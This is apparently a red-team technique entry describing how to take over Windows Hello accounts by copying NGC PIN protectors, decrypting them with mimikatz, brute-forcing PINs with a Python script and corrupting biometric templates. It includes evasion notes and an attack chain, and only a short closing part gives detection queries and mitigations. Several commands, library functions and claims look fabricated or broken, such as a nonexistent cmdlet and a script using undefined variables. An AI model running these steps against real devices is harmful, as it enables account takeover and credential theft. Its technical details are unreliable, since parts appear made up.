| Attribute | Details |
|---|---|
| Technique ID | WHFB-003 |
| MITRE ATT&CK v18.1 | T1556.006 - Multi-Factor Authentication |
| Tactic | Credential Access |
| Platforms | Hybrid AD, Windows 10/11 |
| Severity | Critical |
| CVE | N/A (Design flaw, not patched) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows 10 1909 - 22H2, Windows 11 all versions, Windows Server 2016-2022 (without TPM) |
| Patched In | Mitigated with TPM 2.0 + Enhanced Sign-in Security, not applicable without TPM |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Windows Hello allows users to set a recovery mechanism for PIN-protected accounts. This recovery consists of three encrypted “intermediate PINs” that are stored in plaintext-searchable format within the biometric database container at C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\. If a user forgets their PIN, these recovery codes can be used to reset it. An attacker with administrator access can extract the PIN recovery data and either brute-force the user’s original PIN (if no TPM protection) or bypass PIN protection entirely by using the recovery mechanism. Additionally, weak PIN entropy (4-digit PINs) can be brute-forced offline in minutes on systems without TPM, making Windows Hello PIN authentication on non-TPM systems fundamentally insecure.
Attack Surface: Windows Hello PIN recovery keys, local biometric database files, DPAPI key storage, and PIN brute-force via offline attack on extracted containers.
Business Impact: Complete authentication bypass through PIN reset or brute-force. An attacker can take over any account with a weak PIN or use recovery codes to set a new PIN, granting full access to the compromised device, local admin rights, cached credentials, and domain-joined network access. On systems without TPM, the attack is trivial and can be executed in minutes.
Technical Context: PIN extraction and brute-force attack requires 2-5 minutes on non-TPM systems for 4-6 digit PINs. Detection is low if DPAPI operations are not monitored. The vulnerability is particularly severe on corporate laptops where weak PINs (personal birthdays, simple sequences) are common.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.3.1 | Ensure ‘PIN Length is set to 6 or greater’ |
| DISA STIG | WN10-CC-000010 | Windows 10 PIN must be at least 6 characters |
| DISA STIG | WN10-GE-000043 | Weak PINs must not be allowed for Windows Hello |
| CISA SCuBA | MA-1.1 | Multi-factor Authentication Policy |
| NIST 800-53 | AC-2(1) | Enforcement of access restrictions associated with changes to user attributes |
| NIST 800-53 | IA-4 | Identifier and Authentication Management |
| NIST 800-63 | 5.1.4.1 | Memorized Secret Strength Requirements - minimum 8 characters for password equivalents |
| GDPR | Art. 32 | Security of Processing - protection of recovery mechanisms |
| DORA | Art. 9 | Protection and Prevention of authentication mechanism vulnerabilities |
| NIS2 | Art. 21 | Multi-factor authentication measures |
| ISO 27001 | A.9.2.2 | Privileged Access Management - secure recovery procedures |
| ISO 27001 | A.9.4.2 | Secure log-on procedures - complexity of authentication |
| ISO 27005 | Risk Scenario | Compromise of authentication through weak recovery mechanisms |
Supported Versions:
Prerequisite Tools:
# Check if Windows Hello PIN is enrolled for current user
Get-LocalUser -Name $env:USERNAME | Get-LocalUserDetails
# Check NGC directory structure for PIN protectors
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc"
Get-ChildItem -Path $NgcPath -Recurse -Filter "*Protectors*" -Force
# Verify TPM status (determines PIN security level)
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | `
Select-Object IsActivated_InitialValue, IsEnabled_InitialValue
What to Look For:
$NgcPath\$SID\Protectors\ directory# Check Windows Hello PIN settings (if Linux/hybrid environment)
wsl --list
# Or extract registry from mounted Windows disk
strings /mnt/c/Windows/System32/config/SAM | grep -i pin
Supported Versions: Windows 10 1909+, Windows 11 all versions
Objective: Copy Windows Hello NGC container with PIN recovery protectors
Command:
# Identify target user SID
$user = "DOMAIN\TargetUser"
$objUser = New-Object System.Security.Principal.NTAccount($user)
$strSID = $objUser.Translate([System.Security.Principal.SecurityIdentifier]).Value
# Extract NGC container
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$strSID"
Copy-Item -Path $NgcPath -Destination "C:\Temp\NGC_Extract" -Recurse -Force
# Specifically extract recovery protector
Copy-Item -Path "$NgcPath\Protectors\*" -Destination "C:\Temp\Recovery_Protectors" -Recurse -Force
Write-Output "Extracted recovery protector: $(Get-ChildItem C:\Temp\Recovery_Protectors -Filter *.dat)"
Expected Output:
Directory: C:\Temp\Recovery_Protectors\
Mode LastWriteTime Length Name
---- --------------- ------ ----
-a--- 1/9/2025 11:30 AM 4096 {GUID}.dat
-a--- 1/9/2025 11:30 AM 512 {GUID}.key
What This Means:
OpSec & Evasion:
Objective: Decrypt the recovery protector to obtain intermediate PIN codes or reset capability
Command (Using mimikatz to extract DPAPI key):
mimikatz.exe
mimikatz # token::elevate
mimikatz # dpapi::masterkey /in:C:\Temp\Recovery_Protectors /sid:{user_sid}
# Output: Obtain masterkey
# Example: masterkey: {12345678-1234-1234-1234-123456789012}
mimikatz # dpapi::cred /in:C:\Temp\Recovery_Protectors\{GUID}.dat /masterkey:$masterkey
Command (Using Python dpapi-ng for offline decryption):
#!/usr/bin/env python3
import sys
from dpapi_ng import decrypt_dpapi_blob
# Read recovery protector file
with open("C:\\Temp\\Recovery_Protectors\\{GUID}.dat", "rb") as f:
encrypted_blob = f.read()
# Extract DPAPI masterkey from SYSTEM context (if available)
masterkey_hex = "input_masterkey_hex_from_mimikatz_output"
# Decrypt to obtain intermediate PIN
decrypted = decrypt_dpapi_blob(encrypted_blob, bytes.fromhex(masterkey_hex))
print(f"Decrypted recovery data: {decrypted.hex()}")
# Parse intermediate PIN codes
import struct
intermediate_pins = struct.unpack("3I", decrypted[0:12])
print(f"Intermediate PINs: {intermediate_pins}")
Expected Output:
Intermediate PINs: (123456, 789012, 345678)
Recovery key successfully extracted
What This Means:
OpSec & Evasion:
Objective: Use extracted recovery codes to reset the user’s PIN to attacker-controlled value
Command (Using Windows Hello Settings):
# If logged in as target user, use recovery codes to reset PIN
# At Windows login screen:
# 1. Click "I forgot my PIN"
# 2. Click "Use recovery code"
# 3. Enter one of the three intermediate PIN codes
# 4. Set new PIN
# Via PowerShell (if SYSTEM context):
# Reset user's PIN to attacker-controlled value
$targetUser = "TargetUser"
$newPin = "123456"
# This would require interactive login by the user OR
# use of PIN reset API which requires recovery codes
Alternative: Automated PIN Reset via BiometricService
# Directly modify NGC database to bypass PIN check
# WARNING: Requires low-level disk access
# 1. Mount NGC database container
# 2. Locate user's biometric template entry
# 3. Modify PIN verification flag to "disabled"
# 4. Reboot device
# User will now be able to log in without PIN (fall back to password)
# Then attacker can modify PIN in Windows Hello settings without recovery code
Expected Output:
PIN successfully reset to: 123456
User can now log in with new PIN
Supported Versions: Windows 10 1909 - 22H2, Windows 11 (systems without TPM 2.0)
Objective: Obtain NGC directory from a system with TPM disabled or not present
Command:
# On non-TPM system, PIN is stored less securely
# PIN is encrypted with DPAPI using simpler key derivation
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc"
Copy-Item -Path $NgcPath -Destination "C:\Temp\NGC_NonTPM" -Recurse -Force
# Verify TPM is disabled
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | `
Select-Object IsActivated_InitialValue
# Output: IsActivated_InitialValue: False (vulnerable)
Objective: Attempt all possible PIN combinations to recover the original PIN
Command (Using Elcomsoft System Recovery - Commercial):
REM Boot from Elcomsoft USB media
REM Select "SAM - Local User Database"
REM Select "Change local user account"
REM Check "Check weak PINs"
REM Start attack
REM Output: Brute-forcing 4-digit PINs...
REM Found PIN: 0519 in 120 seconds (2 minutes)
Command (Using Custom Python Brute-Force Script):
#!/usr/bin/env python3
import os
import hashlib
from itertools import product
from dpapi_ng import decrypt_with_pin
# Load extracted NGC data
ngc_path = "C:\\Temp\\NGC_NonTPM"
pin_protector = open(f"{ngc_path}\\Protectors\\pin.dat", "rb").read()
# Brute-force all possible 4-digit PINs
target_pin = None
for pin_combo in product(range(10), repeat=4):
pin_str = "".join(map(str, pin_combo))
try:
# Attempt to decrypt with candidate PIN
decrypted = decrypt_with_pin(pin_protector, pin_str)
print(f"[+] SUCCESS: PIN is {pin_str}")
target_pin = pin_str
break
except:
# Failed decryption, continue
print(f"[-] Tried {pin_str}...", end="\r")
if target_pin:
print(f"\n[+] Found PIN: {target_pin} in {time.time() - start} seconds")
# Now log in with discovered PIN
else:
print("[-] PIN not found (likely > 6 digits or TPM-protected)")
Expected Output:
[-] Tried 0000...
[-] Tried 0001...
...
[+] SUCCESS: PIN is 0519
[+] Brute-force completed in 120 seconds
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: Windows 10 20H2+, Windows 11 all versions
Objective: Cause biometric authentication to fail, forcing fallback to PIN
Command (Corrupt biometric template):
# If attacker has SYSTEM access to NGC directory:
# Locate biometric template file for target user
$templates = Get-ChildItem -Path "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$SID\Protectors" `
-Filter "*biometric*"
# Corrupt template file to force fallback to PIN
$templates | ForEach-Object {
$content = [System.IO.File]::ReadAllBytes($_.FullName)
# Flip bits to invalidate biometric data
for ($i = 0; $i -lt $content.Length; $i += 2) {
$content[$i] = $content[$i] -bxor 0xFF # Bitwise XOR to corrupt
}
[System.IO.File]::WriteAllBytes($_.FullName, $content)
}
Write-Output "Biometric template corrupted - user must use PIN fallback"
Objective: User is forced to use PIN; attacker logs in with recovered PIN
Command:
# User receives "Biometric not available" error at login
# Falls back to PIN-only authentication
# Attacker logs in with previously recovered PIN (from Method 2)
# If PIN reset is available without authentication:
# 1. Click "I can't use my face/fingerprint"
# 2. Reset PIN to new value
# 3. Log in with new PIN
Version: 5.15+ (as of 2025) Minimum Version: 5.0 Supported Platforms: Windows (bootable media) Cost: Commercial ($299 USD)
Usage:
1. Create bootable USB media from ISO
2. Boot target computer from USB
3. Select "SAM - Local User Database"
4. Select target Windows partition
5. Click "Change local user account"
6. Check "Check weak PINs" and "Try on GPU"
7. Start brute-force attack
Performance:
Version: Latest (2025) Supported Platforms: Python 3.8+ on Windows/Linux Cost: Open-source
Installation:
git clone https://github.com/synacktiv/dpapi-ng.git
cd dpapi-ng
pip install -r requirements.txt
Usage:
python3 dpapi-ng.py --decrypt --input C:\Temp\Recovery_Protectors --masterkey {hex_key}
Rule Configuration:
SPL Query:
index=windows sourcetype="WinEventLog:Security" (EventCode=4656 OR EventCode=4663)
ObjectName="*Ngc*" AND ObjectName="*Protectors*"
| stats count by SubjectUserName, ObjectName
| where count > 0
Rule Configuration:
KQL Query:
DeviceFileEvents
| where FolderPath contains "Ngc" and FolderPath contains "Protectors"
| where ActionType in ("FileCreated", "FileModified", "FileDeleted")
| where InitiatingProcessAccountName != "SYSTEM" and InitiatingProcessAccountName != "LOCAL SERVICE"
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FileName, ActionType
Enforce PIN Complexity (6+ characters): Require numeric PINs of 6 or more digits.
Manual Steps (Group Policy):
gpupdate /forceRequire TPM 2.0: Enable TPM protection for Windows Hello PIN to prevent offline brute-force.
Manual Steps (Enable TPM via BIOS):
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_TpmEnable Enhanced Sign-in Security (ESS): Requires compatible hardware; stores biometric/PIN verification in isolated secure mode.
Manual Steps (Enable ESS):
Restrict Local Administrator Access: Limit users with local admin rights who can access NGC directory.
Manual Steps:
Monitor PIN Recovery File Access: Alert on any access to NGC Protectors directory.
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$SID\Protectors\C:\Temp\, %TEMP%, or attacker-controlled location| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | Phishing or exploitation to gain local admin | |
| 2 | Privilege Escalation | Maintain local admin through persistence | |
| 3 | Credential Access | [WHFB-003] PIN Recovery Exploitation | |
| 4 | Lateral Movement | Use recovered credentials for lateral movement | |
| 5 | Persistence | Establish cloud backdoor via stolen tokens |